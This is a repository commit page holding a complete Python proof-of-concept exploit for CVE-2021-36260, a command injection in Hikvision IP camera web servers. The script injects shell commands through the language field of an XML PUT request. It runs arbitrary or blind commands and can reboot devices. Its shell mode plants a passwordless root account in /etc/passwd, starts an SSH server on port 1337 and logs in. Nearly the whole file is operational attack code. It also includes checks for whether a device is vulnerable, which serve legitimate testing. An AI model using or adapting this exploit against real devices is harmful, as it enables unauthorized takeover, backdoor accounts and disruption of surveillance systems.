Projects STRLCPY CVE-2021-36260 Commits 0fa30ab2
🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2021-36260.py
     1 +# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
     2 +# Exploit Author: bashis
     3 +# Vendor Homepage: https://www.hikvision.com/
     4 +# Version: 1.0
     5 +# CVE: CVE-2021-36260
     6 +# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
     7 + 
     8 +# All credit to Watchful_IP
     9 + 
     10 +#!/usr/bin/env python3
     11 + 
     12 +"""
     13 +Note:
     14 +1) This code will _not_ verify if remote is Hikvision device or not.
     15 +2) Most of my interest in this code has been concentrated on how to
     16 + reliably detect vulnerable and/or exploitable devices.
     17 + Some devices are easy to detect, verify and exploit the vulnerability,
     18 + other devices may be vulnerable but not so easy to verify and exploit.
     19 + I think the combined verification code should have very high accuracy.
     20 +3) 'safe check' (--check) will try write and read for verification
     21 + 'unsafe check' (--reboot) will try reboot the device for verification
     22 + 
     23 +[Examples]
     24 +Safe vulnerability/verify check:
     25 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check
     26 + 
     27 +Safe and unsafe vulnerability/verify check:
     28 +(will only use 'unsafe check' if not verified with 'safe check')
     29 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot
     30 + 
     31 +Unsafe vulnerability/verify check:
     32 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot
     33 + 
     34 +Launch and connect to SSH shell:
     35 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell
     36 + 
     37 +Execute command:
     38 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"
     39 + 
     40 +Execute blind command:
     41 + $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"
     42 + 
     43 +$./CVE-2021-36260.py -h
     44 +[*] Hikvision CVE-2021-36260
     45 +[*] PoC by bashis <mcw noemail eu> (2021)
     46 +usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
     47 + [--reboot] [--shell] [--cmd CMD]
     48 + [--cmd_blind CMD_BLIND] [--noverify]
     49 + [--proto {http,https}]
     50 + 
     51 +optional arguments:
     52 + -h, --help show this help message and exit
     53 + --rhost RHOST Remote Target Address (IP/FQDN)
     54 + --rport RPORT Remote Target Port
     55 + --check Check if vulnerable
     56 + --reboot Reboot if vulnerable
     57 + --shell Launch SSH shell
     58 + --cmd CMD execute cmd (i.e: "ls -l")
     59 + --cmd_blind CMD_BLIND
     60 + execute blind cmd (i.e: "reboot")
     61 + --noverify Do not verify if vulnerable
     62 + --proto {http,https} Protocol used
     63 +$
     64 +"""
     65 + 
     66 +import os
     67 +import argparse
     68 +import time
     69 + 
     70 +import requests
     71 +from requests import packages
     72 +from requests.packages import urllib3
     73 +from requests.packages.urllib3 import exceptions
     74 + 
     75 + 
     76 +class Http(object):
     77 + def __init__(self, rhost, rport, proto, timeout=60):
     78 + super(Http, self).__init__()
     79 + 
     80 + self.rhost = rhost
     81 + self.rport = rport
     82 + self.proto = proto
     83 + self.timeout = timeout
     84 + 
     85 + self.remote = None
     86 + self.uri = None
     87 + 
     88 + """ Most devices will use self-signed certificates, suppress any warnings """
     89 + requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
     90 + 
     91 + self.remote = requests.Session()
     92 + 
     93 + self._init_uri()
     94 + 
     95 + self.remote.headers.update({
     96 + 'Host': f'{self.rhost}:{self.rport}',
     97 + 'Accept': '*/*',
     98 + 'X-Requested-With': 'XMLHttpRequest',
     99 + 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
     100 + 'Accept-Encoding': 'gzip, deflate',
     101 + 'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
     102 + })
     103 + """
     104 + self.remote.proxies.update({
     105 + # 'http': 'http://127.0.0.1:8080',
     106 + })
     107 + """
     108 + 
     109 + def send(self, url=None, query_args=None, timeout=5):
     110 + 
     111 + if query_args:
     112 + """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
     113 + if len(query_args) > 22:
     114 + print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
     115 + return None
     116 + 
     117 + """This weird code will try automatically switch between http/https
     118 + and update Host
     119 + """
     120 + try:
     121 + if url and not query_args:
     122 + return self.get(url, timeout)
     123 + else:
     124 + data = self.put('/SDK/webLanguage', query_args, timeout)
     125 + except requests.exceptions.ConnectionError:
     126 + self.proto = 'https' if self.proto == 'http' else 'https'
     127 + self._init_uri()
     128 + try:
     129 + if url and not query_args:
     130 + return self.get(url, timeout)
     131 + else:
     132 + data = self.put('/SDK/webLanguage', query_args, timeout)
     133 + except requests.exceptions.ConnectionError:
     134 + return None
     135 + except requests.exceptions.RequestException:
     136 + return None
     137 + except KeyboardInterrupt:
     138 + return None
     139 + 
     140 + """302 when requesting http on https enabled device"""
     141 + 
     142 + if data.status_code == 302:
     143 + redirect = data.headers.get('Location')
     144 + self.uri = redirect[:redirect.rfind('/')]
     145 + self._update_host()
     146 + if url and not query_args:
     147 + return self.get(url, timeout)
     148 + else:
     149 + data = self.put('/SDK/webLanguage', query_args, timeout)
     150 + 
     151 + return data
     152 + 
     153 + def _update_host(self):
     154 + if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
     155 + self.remote.headers.update({
     156 + 'Host': self.uri[self.uri.rfind('://') + 3:],
     157 + })
     158 + 
     159 + def _init_uri(self):
     160 + self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))
     161 + 
     162 + def put(self, url, query_args, timeout):
     163 + """Command injection in the <language> tag"""
     164 + query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
     165 + f'<language>$({query_args})</language>'
     166 + return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)
     167 + 
     168 + def get(self, url, timeout):
     169 + return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)
     170 + 
     171 + 
     172 +def check(remote, args):
     173 + """
     174 + status_code == 200 (OK);
     175 + Verified vulnerable and exploitable
     176 + status_code == 500 (Internal Server Error);
     177 + Device may be vulnerable, but most likely not
     178 + The SDK webLanguage tag is there, but generate status_code 500 when language not found
     179 + I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
     180 + (Issue: Could also be other directory than 'webLib', r/o FS etc...)
     181 + status_code == 401 (Unauthorized);
     182 + Defiantly not vulnerable
     183 + """
     184 + if args.noverify:
     185 + print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
     186 + return True
     187 + 
     188 + print(f'[*] Checking remote "{args.rhost}:{args.rport}"')
     189 + 
     190 + data = remote.send(url='/', query_args=None)
     191 + if data is None:
     192 + print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
     193 + return None
     194 + print('[i] ETag:', data.headers.get('ETag'))
     195 + 
     196 + data = remote.send(query_args='>webLib/c')
     197 + if data is None or data.status_code == 404:
     198 + print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
     199 + return False
     200 + status_code = data.status_code
     201 + 
     202 + data = remote.send(url='/c', query_args=None)
     203 + if not data.status_code == 200:
     204 + """We could not verify command injection"""
     205 + if status_code == 500:
     206 + print(f'[-] Could not verify if vulnerable (Code: {status_code})')
     207 + if args.reboot:
     208 + return check_reboot(remote, args)
     209 + else:
     210 + print(f'[+] Remote is not vulnerable (Code: {status_code})')
     211 + return False
     212 + 
     213 + print('[!] Remote is verified exploitable')
     214 + return True
     215 + 
     216 + 
     217 +def check_reboot(remote, args):
     218 + """
     219 + We sending 'reboot', wait 2 sec, then checking with GET request.
     220 + - if there is data returned, we can assume remote is not vulnerable.
     221 + - If there is no connection or data returned, we can assume remote is vulnerable.
     222 + """
     223 + if args.check:
     224 + print('[i] Checking if vulnerable with "reboot"')
     225 + else:
     226 + print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
     227 + remote.send(query_args='reboot')
     228 + time.sleep(2)
     229 + if not remote.send(url='/', query_args=None):
     230 + print('[!] Remote is vulnerable')
     231 + return True
     232 + else:
     233 + print('[+] Remote is not vulnerable')
     234 + return False
     235 + 
     236 + 
     237 +def cmd(remote, args):
     238 + if not check(remote, args):
     239 + return False
     240 + data = remote.send(query_args=f'{args.cmd}>webLib/x')
     241 + if data is None:
     242 + return False
     243 + 
     244 + data = remote.send(url='/x', query_args=None)
     245 + if data is None or not data.status_code == 200:
     246 + print(f'[!] Error execute cmd "{args.cmd}"')
     247 + return False
     248 + print(data.text)
     249 + return True
     250 + 
     251 + 
     252 +def cmd_blind(remote, args):
     253 + """
     254 + Blind command injection
     255 + """
     256 + if not check(remote, args):
     257 + return False
     258 + data = remote.send(query_args=f'{args.cmd_blind}')
     259 + if data is None or not data.status_code == 500:
     260 + print(f'[-] Error execute cmd "{args.cmd_blind}"')
     261 + return False
     262 + print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
     263 + return True
     264 + 
     265 + 
     266 +def shell(remote, args):
     267 + if not check(remote, args):
     268 + return False
     269 + data = remote.send(url='/N', query_args=None)
     270 + 
     271 + if data.status_code == 404:
     272 + print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
     273 + data = remote.send(query_args='echo -n P::0:0:W>N')
     274 + if data.status_code == 401:
     275 + print(data.headers)
     276 + print(data.text)
     277 + return False
     278 + remote.send(query_args='echo :/:/bin/sh>>N')
     279 + remote.send(query_args='cat N>>/etc/passwd')
     280 + remote.send(query_args='dropbear -R -B -p 1337')
     281 + remote.send(query_args='cat N>webLib/N')
     282 + else:
     283 + print(f'[i] Remote "{args.rhost}" already pwned')
     284 + 
     285 + print(f'[*] Trying SSH to {args.rhost} on port 1337')
     286 + os.system(f'stty echo; stty iexten; stty icanon; \
     287 + ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
     288 + P@{args.rhost} -p 1337')
     289 + 
     290 + 
     291 +def main():
     292 + print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')
     293 + 
     294 + parser = argparse.ArgumentParser()
     295 + parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
     296 + parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
     297 + parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
     298 + parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
     299 + parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
     300 + parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
     301 + parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
     302 + parser.add_argument(
     303 + '--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
     304 + )
     305 + parser.add_argument(
     306 + '--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
     307 + )
     308 + args = parser.parse_args()
     309 + 
     310 + remote = Http(args.rhost, args.rport, args.proto)
     311 + 
     312 + try:
     313 + if args.shell:
     314 + shell(remote, args)
     315 + elif args.cmd:
     316 + cmd(remote, args)
     317 + elif args.cmd_blind:
     318 + cmd_blind(remote, args)
     319 + elif args.check:
     320 + check(remote, args)
     321 + elif args.reboot:
     322 + check_reboot(remote, args)
     323 + else:
     324 + parser.parse_args(['-h'])
     325 + except KeyboardInterrupt:
     326 + return False
     327 + 
     328 + 
     329 +if __name__ == '__main__':
     330 + main()
     331 +
     332 + 
Please wait...
Page is in error, reload to recover